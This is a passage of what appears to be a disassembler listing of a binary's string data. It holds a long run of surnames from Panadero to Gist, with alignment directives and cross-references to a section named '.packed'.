aPanadero	db 'Panadero',0         ; DATA XREF: .packed:0042E614o
		align 4
aPalmitesta	db 'Palmitesta',0       ; DATA XREF: .packed:0042E610o
		align 4
aPallara	db 'Pallara',0          ; DATA XREF: .packed:0042E60Co
aPalepu		db 'Palepu',0           ; DATA XREF: .packed:0042E608o
		align 4
aPalayoor	db 'Palayoor',0         ; DATA XREF: .packed:0042E604o
		align 4
aPaine		db 'Paine',0            ; DATA XREF: .packed:0042E600o
		align 4
aPaesdealmeida	db 'PaesDealmeida',0    ; DATA XREF: .packed:0042E5FCo
		align 4
aOvid		db 'Ovid',0             ; DATA XREF: .packed:0042E5F8o
		align 4
aOuchida	db 'Ouchida',0          ; DATA XREF: .packed:0042E5F4o
aOtten		db 'Otten',0            ; DATA XREF: .packed:0042E5F0o
		align 4
aOttaviani	db 'Ottaviani',0        ; DATA XREF: .packed:0042E5ECo
		align 10h
aOstrowski	db 'Ostrowski',0        ; DATA XREF: .packed:0042E5E8o
		align 4
aOspina		db 'Ospina',0           ; DATA XREF: .packed:0042E5E4o
		align 4
aOrsi		db 'Orsi',0             ; DATA XREF: .packed:0042E5E0o
		align 4
aOrfield	db 'Orfield',0          ; DATA XREF: .packed:0042E5DCo
aOray		db 'Oray',0             ; DATA XREF: .packed:0042E5D8o
		align 4
aOpel		db 'Opel',0             ; DATA XREF: .packed:0042E5D4o
		align 4
aOMeara		db 'O',27h,'meara',0    ; DATA XREF: .packed:0042E5D0o
aOman		db 'Oman',0             ; DATA XREF: .packed:0042E5CCo
		align 4
aOMalley	db 'O',27h,'malley',0   ; DATA XREF: .packed:0042E5C8o
		align 10h
aOlszewski	db 'Olszewski',0        ; DATA XREF: .packed:0042E5C4o
		align 4
aOlson		db 'Olson',0            ; DATA XREF: .packed:0042E5C0o
		align 4
aOlsen		db 'Olsen',0            ; DATA XREF: .packed:0042E5BCo
		align 4
aOldford	db 'Oldford',0          ; DATA XREF: .packed:0042E5B8o
aOHagan		db 'O',27h,'hagan',0    ; DATA XREF: .packed:0042E5B4o
aOh		db 'Oh',0               ; DATA XREF: .packed:0042E5B0o
		align 10h
aOgata		db 'Ogata',0            ; DATA XREF: .packed:0042E5ACo
		align 4
aOcougne	db 'Ocougne',0          ; DATA XREF: .packed:0042E5A8o
aNuzum		db 'Nuzum',0            ; DATA XREF: .packed:0042E5A4o
		align 4
aNotman		db 'Notman',0           ; DATA XREF: .packed:0042E5A0o
		align 10h
aNitabach	db 'Nitabach',0         ; DATA XREF: .packed:0042E59Co
		align 4
aNisenson	db 'Nisenson',0         ; DATA XREF: .packed:0042E598o
		align 4
aNickoloff	db 'Nickoloff',0        ; DATA XREF: .packed:0042E594o
		align 4
aNickerson	db 'Nickerson',0        ; DATA XREF: .packed:0042E590o
		align 10h
aNi_0		db 'Ni',0               ; DATA XREF: .packed:0042E58Co
		align 4
aNg		db 'Ng',0               ; DATA XREF: .packed:0042E588o
		align 4
aNewlin		db 'Newlin',0           ; DATA XREF: .packed:0042E584o
		align 10h
aNewfeld	db 'Newfeld',0          ; DATA XREF: .packed:0042E580o
aNeuman		db 'Neuman',0           ; DATA XREF: .packed:0042E57Co
		align 10h
aNesci		db 'Nesci',0            ; DATA XREF: .packed:0042E578o
		align 4
aNenna		db 'Nenna',0            ; DATA XREF: .packed:0042E574o
		align 10h
aNelson		db 'Nelson',0           ; DATA XREF: .packed:0042E570o
		align 4
aNayduch	db 'Nayduch',0          ; DATA XREF: .packed:0042E56Co
aNaviaux	db 'Naviaux',0          ; DATA XREF: .packed:0042E568o
aNardone	db 'Nardone',0          ; DATA XREF: .packed:0042E564o
aNardi		db 'Nardi',0            ; DATA XREF: .packed:0042E560o
		align 4
aNapolitano	db 'Napolitano',0       ; DATA XREF: .packed:0042E55Co
		align 4
aNaddeo		db 'Naddeo',0           ; DATA XREF: .packed:0042E558o
		align 4
aMussachio	db 'Mussachio',0        ; DATA XREF: .packed:0042E554o
		align 4
aMumford	db 'Mumford',0          ; DATA XREF: .packed:0042E550o
aMulroy		db 'Mulroy',0           ; DATA XREF: .packed:0042E54Co
		align 4
aMulkern	db 'Mulkern',0          ; DATA XREF: .packed:0042E548o
aMugnai		db 'Mugnai',0           ; DATA XREF: .packed:0042E544o
		align 4
aMuello		db 'Muello',0           ; DATA XREF: .packed:0042E540o
		align 10h
aMudarri	db 'Mudarri',0          ; DATA XREF: .packed:0042E53Co
aMotooka	db 'Motooka',0          ; DATA XREF: .packed:0042E538o
aMostafavi	db 'Mostafavi',0        ; DATA XREF: .packed:0042E534o
		align 4
aMosler		db 'Mosler',0           ; DATA XREF: .packed:0042E530o
		align 4
aMosher		db 'Mosher',0           ; DATA XREF: .packed:0042E52Co
		align 4
aMortimer	db 'Mortimer',0         ; DATA XREF: .packed:0042E528o
		align 4
aMorrow		db 'Morrow',0           ; DATA XREF: .packed:0042E524o
		align 10h
aMorrison	db 'Morrison',0         ; DATA XREF: .packed:0042E520o
		align 4
aMoreton	db 'Moreton',0          ; DATA XREF: .packed:0042E51Co
aMorani		db 'Morani',0           ; DATA XREF: .packed:0042E518o
		align 4
aMooredech_	db 'MooreDeCh.',0       ; DATA XREF: .packed:0042E514o
		align 4
aMontilio	db 'Montilio',0         ; DATA XREF: .packed:0042E510o
		align 4
aMonque		db 'Monque',0           ; DATA XREF: .packed:0042E50Co
		align 4
aMoiamedi	db 'Moiamedi',0         ; DATA XREF: .packed:0042E508o
		align 4
aMohr		db 'Mohr',0             ; DATA XREF: .packed:0042E504o
		align 10h
aMoeller	db 'Moeller',0          ; DATA XREF: .packed:0042E500o
aModestino	db 'Modestino',0        ; DATA XREF: .packed:0042E4FCo
		align 4
aMocroft	db 'Mocroft',0          ; DATA XREF: .packed:0042E4F8o
aMittal		db 'Mittal',0           ; DATA XREF: .packed:0042E4F4o
		align 4
aMitropoulos	db 'Mitropoulos',0      ; DATA XREF: .packed:0042E4F0o
aGonzalez	db 'Gonzalez',0         ; DATA XREF: .packed:0042E4ECo
		align 4
aMinichiello	db 'Minichiello',0      ; DATA XREF: .packed:0042E4E8o
aMini		db 'Mini',0             ; DATA XREF: .packed:0042E4E4o
		align 10h
aMinh		db 'Minh',0             ; DATA XREF: .packed:0042E4E0o
		align 4
aMills		db 'Mills',0            ; DATA XREF: .packed:0042E4DCo
		align 10h
aMieher		db 'Mieher',0           ; DATA XREF: .packed:0042E4D8o
		align 4
aMiddle		db 'Middle',0           ; DATA XREF: .packed:0042E4D4o
		align 10h
aMichelman	db 'Michelman',0        ; DATA XREF: .packed:0042E4D0o
		align 4
aMeurer		db 'Meurer',0           ; DATA XREF: .packed:0042E4CCo
		align 4
aMetropolis	db 'Metropolis',0       ; DATA XREF: .packed:0042E4C8o
		align 10h
aMetelka	db 'Metelka',0          ; DATA XREF: .packed:0042E4C4o
aMerz		db 'Merz',0             ; DATA XREF: .packed:0042E4C0o
		align 10h
aMerseth	db 'Merseth',0          ; DATA XREF: .packed:0042E4BCo
aMerminod	db 'Merminod',0         ; DATA XREF: .packed:0042E4B8o
		align 4
aMerlani	db 'Merlani',0          ; DATA XREF: .packed:0042E4B4o
aMerikoski	db 'Merikoski',0        ; DATA XREF: .packed:0042E4B0o
		align 4
aMenzies	db 'Menzies',0          ; DATA XREF: .packed:0042E4ACo
aMemisoglu	db 'Memisoglu',0        ; DATA XREF: .packed:0042E4A8o
		align 4
aMeccariello	db 'Meccariello',0      ; DATA XREF: .packed:0042E4A4o
aMcnulty	db 'Mcnulty',0          ; DATA XREF: .packed:0042E4A0o
aMcnealy	db 'Mcnealy',0          ; DATA XREF: .packed:0042E49Co
aMclaren	db 'Mclaren',0          ; DATA XREF: .packed:0042E498o
aMclane		db 'Mclane',0           ; DATA XREF: .packed:0042E494o
		align 4
aMckenna	db 'Mckenna',0          ; DATA XREF: .packed:0042E490o
aMcintosh	db 'Mcintosh',0         ; DATA XREF: .packed:0042E48Co
		align 4
aMcilroy	db 'McIlroy',0          ; DATA XREF: .packed:0042E488o
aMcgoldrick	db 'Mcgoldrick',0       ; DATA XREF: .packed:0042E484o
		align 10h
aMcghee		db 'Mcghee',0           ; DATA XREF: .packed:0042E480o
		align 4
aMcfadden	db 'McFadden',0         ; DATA XREF: .packed:0042E47Co
		align 4
aMcelroy	db 'Mcelroy',0          ; DATA XREF: .packed:0042E478o
aMcdowell	db 'Mcdowell',0         ; DATA XREF: .packed:0042E474o
		align 4
aMcclearn	db 'Mcclearn',0         ; DATA XREF: .packed:0042E470o
		align 4
aMccall		db 'Mccall',0           ; DATA XREF: .packed:0042E46Co
		align 4
aMccaffery	db 'Mccaffery',0        ; DATA XREF: .packed:0042E468o
		align 4
aMcbride	db 'Mcbride',0          ; DATA XREF: .packed:0042E464o
aMazziotta	db 'Mazziotta',0        ; DATA XREF: .packed:0042E460o
		align 4
aMazzali	db 'Mazzali',0
aMay		db 'May',0
aMauzy		db 'Mauzy',0
		align 10h
aMattson	db 'Mattson',0
aMatsukata	db 'Matsukata',0
		align 4
aMatarazzo	db 'Matarazzo',0
		align 10h
aMatalka	db 'Matalka',0
aMass		db 'Mass',0
		align 10h
aMarubini	db 'Marubini',0
		align 4
aMarton		db 'Marton',0
		align 4
aMartochio	db 'Martochio',0
		align 10h
aMartinez	db 'Martinez',0
		align 4
aMarques	db 'Marques',0
aMargetts	db 'Margetts',0
		align 10h
aMargalit	db 'Margalit',0
		align 4
aMarcus		db 'Marcus',0
		align 4
aMarchbanks	db 'Marchbanks',0
		align 10h
aMarch		db 'March',0
		align 4
aMantovan	db 'Mantovan',0
		align 4
aManganiello	db 'Manganiello',0
aMandel		db 'Mandel',0
		align 4
aManalis	db 'Manalis',0
aMalova		db 'Malova',0
		align 4
aMaller		db 'Maller',0
		align 10h
aMalatesta	db 'Malatesta',0
		align 4
aMaisano	db 'Maisano',0
aMaineHershey	db 'Maine-Hershey',0
		align 4
aMaier		db 'Maier',0
		align 4
aMahony		db 'Mahony',0
		align 4
aMaggio		db 'Maggio',0
		align 4
aMadigan	db 'Madigan',0
aMacy		db 'Macy',0
		align 4
aMacmillan	db 'MacMillan',0
		align 4
aMackenney	db 'Mackenney',0
		align 4
aMacintyre	db 'Macintyre',0
		align 10h
aMaceachern	db 'Maceachern',0
		align 4
aMacdonald	db 'Macdonald',0
		align 4
aMaccormac	db 'Maccormac',0
		align 4
aMa		db 'Ma',0               ; DATA XREF: .packed:0042E3C4o
		align 4
aLuzader	db 'Luzader',0          ; DATA XREF: .packed:0042E3C0o
aLutcavage	db 'Lutcavage',0        ; DATA XREF: .packed:0042E3BCo
		align 4
aLussier	db 'Lussier',0          ; DATA XREF: .packed:0042E3B8o
aLuoma		db 'Luoma',0            ; DATA XREF: .packed:0042E3B4o
		align 4
aLunetta	db 'Lunetta',0          ; DATA XREF: .packed:0042E3B0o
aLuecke		db 'Luecke',0           ; DATA XREF: .packed:0042E3ACo
		align 4
aLuczkow	db 'Luczkow',0          ; DATA XREF: .packed:0042E3A8o
aLuciano	db 'Luciano',0          ; DATA XREF: .packed:0042E3A4o
aLucas		db 'Lucas',0            ; DATA XREF: .packed:0042E3A0o
		align 4
aLubin		db 'Lubin',0            ; DATA XREF: .packed:0042E39Co
		align 4
aLoza		db 'Loza',0             ; DATA XREF: .packed:0042E398o
		align 4
aLowenstein	db 'Lowenstein',0       ; DATA XREF: .packed:0042E394o
		align 10h
aLoveman	db 'Loveman',0          ; DATA XREF: .packed:0042E390o
aLoss		db 'Loss',0             ; DATA XREF: .packed:0042E38Co
		align 10h
aLongworth	db 'Longworth',0        ; DATA XREF: .packed:0042E388o
		align 4
aLocatelli	db 'Locatelli',0        ; DATA XREF: .packed:0042E384o
		align 4
aLizardo	db 'Lizardo',0          ; DATA XREF: .packed:0042E380o
aLivolsi	db 'Livolsi',0          ; DATA XREF: .packed:0042E37Co
aLivi		db 'Livi',0             ; DATA XREF: .packed:0042E378o
		align 10h
aLivernash	db 'Livernash',0        ; DATA XREF: .packed:0042E374o
		align 4
aLitvak		db 'Litvak',0           ; DATA XREF: .packed:0042E370o
		align 4
aLittle		db 'Little',0           ; DATA XREF: .packed:0042E36Co
		align 4
aLipponen	db 'Lipponen',0         ; DATA XREF: .packed:0042E368o
		align 4
aLippmann	db 'Lippmann',0         ; DATA XREF: .packed:0042E364o
		align 4
aLinzee		db 'Linzee',0           ; DATA XREF: .packed:0042E360o
		align 4
aLinehan	db 'Linehan',0          ; DATA XREF: .packed:0042E35Co
aLine		db 'Line',0             ; DATA XREF: .packed:0042E358o
		align 4
aLinder		db 'Linder',0           ; DATA XREF: .packed:0042E354o
		align 4
aLinda		db 'Linda',0            ; DATA XREF: .packed:0042E350o
		align 4
aLinares	db 'Linares',0          ; DATA XREF: .packed:0042E34Co
aLim		db 'Lim',0              ; DATA XREF: .packed:0042E348o
aLightfoot	db 'Lightfoot',0        ; DATA XREF: .packed:0042E344o
		align 4
aLight		db 'Light',0            ; DATA XREF: .packed:0042E340o
		align 4
aLiem		db 'Liem',0             ; DATA XREF: .packed:0042E33Co
		align 4
aLidano		db 'Lidano',0           ; DATA XREF: .packed:0042E338o
		align 4
aLiakos		db 'Liakos',0           ; DATA XREF: .packed:0042E334o
		align 4
aLessi		db 'Lessi',0            ; DATA XREF: .packed:0042E330o
		align 4
aLesser		db 'Lesser',0           ; DATA XREF: .packed:0042E32Co
		align 4
aLEnclos	db 'l',27h,'Enclos',0   ; DATA XREF: .packed:0042E328o
		align 10h
aLenard		db 'Lenard',0           ; DATA XREF: .packed:0042E324o
		align 4
aLeite		db 'Leite',0            ; DATA XREF: .packed:0042E320o
		align 10h
aLeclercq	db 'Leclercq',0         ; DATA XREF: .packed:0042E31Co
		align 4
aLecce		db 'Lecce',0            ; DATA XREF: .packed:0042E318o
		align 4
aLecar		db 'Lecar',0            ; DATA XREF: .packed:0042E314o
		align 4
aLawless	db 'Lawless',0          ; DATA XREF: .packed:0042E310o
aLashley	db 'Lashley',0          ; DATA XREF: .packed:0042E30Co
aLaserna	db 'Laserna',0          ; DATA XREF: .packed:0042E308o
aLanzit		db 'Lanzit',0           ; DATA XREF: .packed:0042E304o
		align 4
aLantieri	db 'Lantieri',0         ; DATA XREF: .packed:0042E300o
		align 4
aLankes		db 'Lankes',0           ; DATA XREF: .packed:0042E2FCo
		align 10h
aLandes		db 'Landes',0           ; DATA XREF: .packed:0042E2F8o
		align 4
aLallemant	db 'Lallemant',0        ; DATA XREF: .packed:0042E2F4o
					; .packed:0043294Co
		align 4
aLaing		db 'Laing',0            ; DATA XREF: .packed:0042E2F0o
		align 4
aLafler		db 'Lafler',0           ; DATA XREF: .packed:0042E2ECo
					; .packed:off_4327E8o
		align 4
aLabunka	db 'Labunka',0          ; DATA XREF: .packed:0042E2E8o
aLa		db 'La',0               ; DATA XREF: .packed:0042E2E4o
		align 10h
aKuwabara	db 'Kuwabara',0         ; DATA XREF: .packed:0042E2E0o
		align 4
aKusman		db 'Kusman',0           ; DATA XREF: .packed:0042E2DCo
		align 4
aKumar		db 'Kumar',0            ; DATA XREF: .packed:0042E2D8o
		align 4
aKuenzli	db 'Kuenzli',0          ; DATA XREF: .packed:0042E2D4o
aKrysiak	db 'Krysiak',0          ; DATA XREF: .packed:0042E2D0o
aKroemer	db 'Kroemer',0          ; DATA XREF: .packed:0042E2CCo
aKraus		db 'Kraus',0            ; DATA XREF: .packed:0042E2C8o
		align 4
aKrasney	db 'Krasney',0          ; DATA XREF: .packed:0042E2C4o
aKrailo		db 'Krailo',0           ; DATA XREF: .packed:0042E2C0o
		align 4
aKraemer	db 'Kraemer',0          ; DATA XREF: .packed:0042E2BCo
aKovaks		db 'Kovaks',0           ; DATA XREF: .packed:0042E2B8o
		align 4
aKotter		db 'Kotter',0           ; DATA XREF: .packed:0042E2B4o
		align 4
aKorzybski	db 'Korzybski',0        ; DATA XREF: .packed:0042E2B0o
		align 10h
aKool		db 'Kool',0             ; DATA XREF: .packed:0042E2ACo
		align 4
aKonrad		db 'Konrad',0           ; DATA XREF: .packed:0042E2A8o
		align 10h
aKoniaris	db 'Koniaris',0         ; DATA XREF: .packed:0042E2A4o
		align 4
aKommer		db 'Kommer',0           ; DATA XREF: .packed:0042E2A0o
		align 4
aKoivumaki	db 'Koivumaki',0        ; DATA XREF: .packed:0042E29Co
		align 10h
aKohn		db 'Kohn',0             ; DATA XREF: .packed:0042E298o
		align 4
aKoch		db 'Koch',0             ; DATA XREF: .packed:0042E294o
		align 10h
aKobrick	db 'Kobrick',0          ; DATA XREF: .packed:0042E290o
aKnuff		db 'Knuff',0            ; DATA XREF: .packed:0042E28Co
		align 10h
aKlint		db 'Klint',0            ; DATA XREF: .packed:0042E288o
		align 4
aKlinkenborg	db 'Klinkenborg',0      ; DATA XREF: .packed:0042E284o
aKling		db 'Kling',0            ; DATA XREF: .packed:0042E280o
		align 4
aKlemperer	db 'Klemperer',0        ; DATA XREF: .packed:0042E27Co
		align 4
aKleinfelder	db 'Kleinfelder',0      ; DATA XREF: .packed:0042E278o
aKleiman	db 'Kleiman',0          ; DATA XREF: .packed:0042E274o
aKleckner	db 'Kleckner',0         ; DATA XREF: .packed:0042E270o
		align 4
aKittridge	db 'Kittridge',0        ; DATA XREF: .packed:0042E26Co
		align 4
aKirscht	db 'Kirscht',0          ; DATA XREF: .packed:0042E268o
aKippenberger	db 'Kippenberger',0     ; DATA XREF: .packed:0042E264o
		align 4
aKinsley	db 'Kinsley',0          ; DATA XREF: .packed:0042E260o
aKindall	db 'Kindall',0          ; DATA XREF: .packed:0042E25Co
aKimura		db 'Kimura',0           ; DATA XREF: .packed:0042E258o
		align 4
aKimmett	db 'Kimmett',0          ; DATA XREF: .packed:0042E254o
aKimmel		db 'Kimmel',0           ; DATA XREF: .packed:0042E250o
		align 4
aKhong		db 'Khong',0            ; DATA XREF: .packed:0042E24Co
		align 4
aKeul		db 'Keul',0             ; DATA XREF: .packed:0042E248o
		align 4
aKerry		db 'Kerry',0            ; DATA XREF: .packed:0042E244o
		align 4
aKendall	db 'Kendall',0          ; DATA XREF: .packed:0042E240o
aKemsley	db 'Kemsley',0          ; DATA XREF: .packed:0042E23Co
aKempton	db 'Kempton',0          ; DATA XREF: .packed:0042E238o
aKelsey		db 'Kelsey',0           ; DATA XREF: .packed:0042E234o
		align 4
aKelker		db 'Kelker',0           ; DATA XREF: .packed:0042E230o
		align 4
aKeith		db 'Keith',0            ; DATA XREF: .packed:0042E22Co
		align 4
aKeepper	db 'Keepper',0          ; DATA XREF: .packed:0042E228o
aKeenan		db 'Keenan',0           ; DATA XREF: .packed:0042E224o
		align 4
aKee		db 'Kee',0              ; DATA XREF: .packed:0042E220o
aKawachi	db 'Kawachi',0          ; DATA XREF: .packed:0042E21Co
aKasten		db 'Kasten',0           ; DATA XREF: .packed:0042E218o
		align 10h
aKassower	db 'Kassower',0         ; DATA XREF: .packed:0042E214o
		align 4
aKarpouzes	db 'Karpouzes',0        ; DATA XREF: .packed:0042E210o
		align 4
aKangis		db 'Kangis',0           ; DATA XREF: .packed:0042E20Co
		align 10h
aKamel		db 'Kamel',0            ; DATA XREF: .packed:0042E208o
		align 4
aKalman		db 'Kalman',0           ; DATA XREF: .packed:0042E204o
		align 10h
aKalinowski	db 'Kalinowski',0       ; DATA XREF: .packed:0042E200o
		align 4
aKalil		db 'Kalil',0            ; DATA XREF: .packed:0042E1FCo
		align 4
aKaligian	db 'Kaligian',0         ; DATA XREF: .packed:0042E1F8o
		align 10h
aKalbfleisch	db 'Kalbfleisch',0      ; DATA XREF: .packed:0042E1F4o
aKafadar	db 'Kafadar',0          ; DATA XREF: .packed:0042E1F0o
aKaboolian	db 'Kaboolian',0        ; DATA XREF: .packed:0042E1ECo
		align 10h
aKabbash	db 'Kabbash',0          ; DATA XREF: .packed:0042E1E8o
aJulious	db 'Julious',0          ; DATA XREF: .packed:0042E1E4o
aJuliano	db 'Juliano',0          ; DATA XREF: .packed:0042E1E0o
aJucks		db 'Jucks',0            ; DATA XREF: .packed:0042E1DCo
		align 10h
aJorgensen	db 'Jorgensen',0        ; DATA XREF: .packed:0042E1D8o
		align 4
aJolly		db 'Jolly',0            ; DATA XREF: .packed:0042E1D4o
		align 4
aJohns		db 'Johns',0            ; DATA XREF: .packed:0042E1D0o
		align 4
aJohannsen	db 'Johannsen',0        ; DATA XREF: .packed:0042E1CCo
		align 4
aJohannesson	db 'Johannesson',0      ; DATA XREF: .packed:0042E1C8o
aJewett		db 'Jewett',0           ; DATA XREF: .packed:0042E1C4o
		align 4
aJespersen	db 'Jespersen',0        ; DATA XREF: .packed:0042E1C0o
		align 4
aJenkins	db 'Jenkins',0          ; DATA XREF: .packed:0042E1BCo
aJellis		db 'Jellis',0           ; DATA XREF: .packed:0042E1B8o
		align 4
aJeffers	db 'Jeffers',0          ; DATA XREF: .packed:0042E1B4o
aJay		db 'Jay',0              ; DATA XREF: .packed:0042E1B0o
aJarrell	db 'Jarrell',0          ; DATA XREF: .packed:0042E1ACo
aJarnagin	db 'Jarnagin',0         ; DATA XREF: .packed:0042E1A8o
		align 4
aJanjigian	db 'Janjigian',0        ; DATA XREF: .packed:0042E1A4o
		align 4
aJamil		db 'Jamil',0            ; DATA XREF: .packed:0042E1A0o
		align 4
aJain		db 'Jain',0             ; DATA XREF: .packed:0042E19Co
		align 4
aJagoe		db 'Jagoe',0            ; DATA XREF: .packed:0042E198o
		align 4
aJagger		db 'Jagger',0           ; DATA XREF: .packed:0042E194o
		align 4
aJagers		db 'Jagers',0           ; DATA XREF: .packed:0042E190o
		align 4
aJackson	db 'Jackson',0          ; DATA XREF: .packed:0042E18Co
aJacenko	db 'Jacenko',0          ; DATA XREF: .packed:0042E188o
aIyer		db 'Iyer',0             ; DATA XREF: .packed:0042E184o
		align 4
aIsserman	db 'Isserman',0         ; DATA XREF: .packed:0042E180o
		align 10h
aIsbill		db 'Isbill',0           ; DATA XREF: .packed:0042E17Co
		align 4
aIsaievych	db 'Isaievych',0        ; DATA XREF: .packed:0042E178o
		align 4
aIsaac		db 'Isaac',0            ; DATA XREF: .packed:0042E174o
		align 4
aInniss		db 'Inniss',0           ; DATA XREF: .packed:0042E170o
		align 4
aInamura	db 'Inamura',0          ; DATA XREF: .packed:0042E16Co
aIgarashi	db 'Igarashi',0         ; DATA XREF: .packed:0042E168o
		align 4
aIchikawa	db 'Ichikawa',0         ; DATA XREF: .packed:0042E164o
		align 4
aIaquinta	db 'Iaquinta',0         ; DATA XREF: .packed:0042E160o
		align 10h
aHyde		db 'Hyde',0             ; DATA XREF: .packed:0042E15Co
		align 4
aHutchings	db 'Hutchings',0        ; DATA XREF: .packed:0042E158o
		align 4
aHurtubise	db 'Hurtubise',0        ; DATA XREF: .packed:0042E154o
		align 10h
aHupp		db 'Hupp',0             ; DATA XREF: .packed:0042E150o
		align 4
aHuntington	db 'Huntington',0       ; DATA XREF: .packed:0042E14Co
		align 4
aHungerford	db 'Hungerford',0       ; DATA XREF: .packed:0042E148o
		align 10h
aHuidekoper	db 'Huidekoper',0       ; DATA XREF: .packed:0042E144o
		align 4
aHuey		db 'Huey',0             ; DATA XREF: .packed:0042E140o
		align 4
aHoy		db 'Hoy',0              ; DATA XREF: .packed:0042E13Co
aHoward		db 'Howard',0           ; DATA XREF: .packed:0042E138o
		align 10h
aHottle		db 'Hottle',0           ; DATA XREF: .packed:0042E134o
		align 4
aHostage	db 'Hostage',0          ; DATA XREF: .packed:0042E130o
aHoshida	db 'Hoshida',0          ; DATA XREF: .packed:0042E12Co
aHorsley	db 'Horsley',0          ; DATA XREF: .packed:0042E128o
aHopkins	db 'Hopkins',0          ; DATA XREF: .packed:0042E124o
aHooker		db 'Hooker',0           ; DATA XREF: .packed:0042E120o
		align 10h
aHolzman	db 'Holzman',0          ; DATA XREF: .packed:0042E11Co
aHolway		db 'Holway',0           ; DATA XREF: .packed:0042E118o
		align 10h
aHolter		db 'Holter',0           ; DATA XREF: .packed:0042E114o
		align 4
aHoloien	db 'Holoien',0          ; DATA XREF: .packed:0042E110o
aHolmes		db 'Holmes',0           ; DATA XREF: .packed:0042E10Co
		align 4
aHokoda		db 'Hokoda',0           ; DATA XREF: .packed:0042E108o
		align 10h
aHokanson	db 'Hokanson',0         ; DATA XREF: .packed:0042E104o
		align 4
aHoffman	db 'Hoffman',0          ; DATA XREF: .packed:0042E100o
aHoffer		db 'Hoffer',0           ; DATA XREF: .packed:0042E0FCo
		align 4
aHock		db 'Hock',0             ; DATA XREF: .packed:0042E0F8o
		align 4
aHoang		db 'Hoang',0            ; DATA XREF: .packed:0042E0F4o
		align 4
aHitchcock	db 'Hitchcock',0        ; DATA XREF: .packed:0042E0F0o
		align 4
aHirst		db 'Hirst',0            ; DATA XREF: .packed:0042E0ECo
		align 10h
aHind		db 'Hind',0             ; DATA XREF: .packed:0042E0E8o
		align 4
aHimmelfarb	db 'Himmelfarb',0       ; DATA XREF: .packed:0042E0E4o
		align 4
aHeyeck		db 'Heyeck',0           ; DATA XREF: .packed:0042E0E0o
		align 4
aHeubert	db 'Heubert',0          ; DATA XREF: .packed:0042E0DCo
aHester		db 'Hester',0           ; DATA XREF: .packed:0042E0D8o
		align 4
aHerrera	db 'Herrera',0          ; DATA XREF: .packed:0042E0D4o
aHernandez	db 'Hernandez',0        ; DATA XREF: .packed:0042E0D0o
		align 10h
aHenrichs	db 'Henrichs',0         ; DATA XREF: .packed:0042E0CCo
		align 4
aHenery		db 'Henery',0           ; DATA XREF: .packed:0042E0C8o
		align 4
aHemphill	db 'Hemphill',0         ; DATA XREF: .packed:0042E0C4o
		align 10h
aHelprin	db 'Helprin',0          ; DATA XREF: .packed:0042E0C0o
aHellmiss	db 'Hellmiss',0         ; DATA XREF: .packed:0042E0BCo
		align 4
aHellman	db 'Hellman',0          ; DATA XREF: .packed:0042E0B8o
aHeiland	db 'Heiland',0          ; DATA XREF: .packed:0042E0B4o
aHeft		db 'Heft',0             ; DATA XREF: .packed:0042E0B0o
		align 4
aHeermans	db 'Heermans',0         ; DATA XREF: .packed:0042E0ACo
		align 4
aHazlewood	db 'Hazlewood',0        ; DATA XREF: .packed:0042E0A8o
		align 4
aHaynes		db 'Haynes',0           ; DATA XREF: .packed:0042E0A4o
		align 4
aHayes		db 'Hayes',0            ; DATA XREF: .packed:0042E0A0o
		align 4
aHawkes		db 'Hawkes',0           ; DATA XREF: .packed:0042E09Co
		align 4
aHaviaras	db 'Haviaras',0         ; DATA XREF: .packed:0042E098o
		align 4
aHarwell	db 'Harwell',0          ; DATA XREF: .packed:0042E094o
aHartnett	db 'Hartnett',0         ; DATA XREF: .packed:0042E090o
		align 4
aHartmann	db 'Hartmann',0         ; DATA XREF: .packed:0042E08Co
		align 4
aHartman	db 'Hartman',0          ; DATA XREF: .packed:0042E088o
aHarrigan	db 'Harrigan',0         ; DATA XREF: .packed:0042E084o
		align 4
aHarlow		db 'Harlow',0           ; DATA XREF: .packed:0042E080o
		align 4
aHargraves	db 'Hargraves',0        ; DATA XREF: .packed:0042E07Co
		align 10h
aHarding	db 'Harding',0          ; DATA XREF: .packed:0042E078o
aHanssen	db 'Hanssen',0          ; DATA XREF: .packed:0042E074o
aHand		db 'Hand',0             ; DATA XREF: .packed:0042E070o
		align 4
aHammerness	db 'Hammerness',0       ; DATA XREF: .packed:0042E06Co
		align 4
aHamer		db 'Hamer',0            ; DATA XREF: .packed:0042E068o
		align 4
aHambarzumjan	db 'Hambarzumjan',0     ; DATA XREF: .packed:0042E064o
		align 4
aHalpert	db 'Halpert',0          ; DATA XREF: .packed:0042E060o
aHallowell	db 'Hallowell',0        ; DATA XREF: .packed:0042E05Co
		align 10h
aHalkias	db 'Halkias',0          ; DATA XREF: .packed:0042E058o
aHaley		db 'Haley',0            ; DATA XREF: .packed:0042E054o
		align 10h
aHackshaw	db 'Hackshaw',0         ; DATA XREF: .packed:0042E050o
		align 4
aHackman	db 'Hackman',0          ; DATA XREF: .packed:0042E04Co
aHaar		db 'Haar',0             ; DATA XREF: .packed:0042E048o
		align 4
aHa		db 'Ha',0               ; DATA XREF: .packed:0042E044o
		align 10h
aGuo		db 'Guo',0              ; DATA XREF: .packed:0042E040o
aGunn		db 'Gunn',0             ; DATA XREF: .packed:0042E03Co
		align 4
aGuenthart	db 'Guenthart',0        ; DATA XREF: .packed:0042E038o
		align 4
aGruppe		db 'Gruppe',0           ; DATA XREF: .packed:0042E034o
		align 10h
aGruner		db 'Gruner',0           ; DATA XREF: .packed:0042E030o
		align 4
aGrummell	db 'Grummell',0         ; DATA XREF: .packed:0042E02Co
		align 4
aGrigoletto	db 'Grigoletto',0       ; DATA XREF: .packed:0042E028o
		align 10h
aGriffiths	db 'Griffiths',0        ; DATA XREF: .packed:0042E024o
		align 4
aGreenfeld	db 'Greenfeld',0        ; DATA XREF: .packed:0042E020o
		align 4
aGreenberg	db 'Greenberg',0        ; DATA XREF: .packed:0042E01Co
		align 4
aGravell	db 'Gravell',0          ; DATA XREF: .packed:0042E018o
aGozzi		db 'Gozzi',0            ; DATA XREF: .packed:0042E014o
		align 4
aGoody		db 'Goody',0            ; DATA XREF: .packed:0042E010o
		align 4
aGoodearl	db 'Goodearl',0         ; DATA XREF: .packed:0042E00Co
		align 4
aGood		db 'Good',0             ; DATA XREF: .packed:0042E008o
		align 10h
aGoncalves	db 'Goncalves',0        ; DATA XREF: .packed:0042E004o
		align 4
aGoldfarb	db 'Goldfarb',0         ; DATA XREF: .packed:0042E000o
		align 4
aGlendon	db 'Glendon',0          ; DATA XREF: .packed:0042DFFCo
aGlegg		db 'Glegg',0            ; DATA XREF: .packed:0042DFF8o
		align 4
aGleason	db 'Gleason',0          ; DATA XREF: .packed:0042DFF4o
aGist		db 'Gist',0             ; DATA XREF: .packed:0042DFF0o
		align 4
